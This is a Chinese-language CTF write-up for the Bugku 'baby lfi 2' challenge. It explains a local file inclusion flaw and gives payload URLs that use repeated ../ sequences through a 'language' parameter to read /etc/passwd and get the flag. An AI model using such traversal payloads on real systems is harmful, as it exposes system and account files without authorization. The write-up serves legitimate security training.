题目来源:baby lfi 2 - Bugku CTF平台
访问页面
翻译解析:百度翻译-您的超级翻译伙伴(文本、文档翻译) (baidu.com)
LFI Warmups- level 2 -本地文件包含(Local File Inclusion,简称LFI)
Hello I can speak 2 languages! - 提示:两种语言。
include some critical file why not/etc/passwd - 包含一些关键文件,为什么不能是/etc/passwd 呢 ? /etc/passwd是Unix和Linux系统中存储用户账户信息的文件,通常包含用户名、密码(加密)、用户ID、组ID等信息。
Please Select a language of your choice:en/fr - 选择一种语言,英语(en)或者法语(fr)
Approved Paths, there is a languages directory, I wont tell you what's stocked in it? ;) - 存在一个“languages”目录,但不知道里面具体有什么内容。提示:可以探索这个目录来找到可能的文件包含路径
由于存在 languages 目录是确定的;构造payload
http://82.157.146.43:17219/?language=./languages/etc/passwd
得到
返回路径不合法, 通过. 和 ../修改路径
http://82.157.146.43:17219/?language=./languages/etc/passwd
路径合法,有戏;
继续修改payload ; ../../ 放多些,宁滥勿缺 ,少了可能回不到根目录
http://82.157.146.43:17219/?language=./languages/../../../../../../../../../etc/passwd
得到flag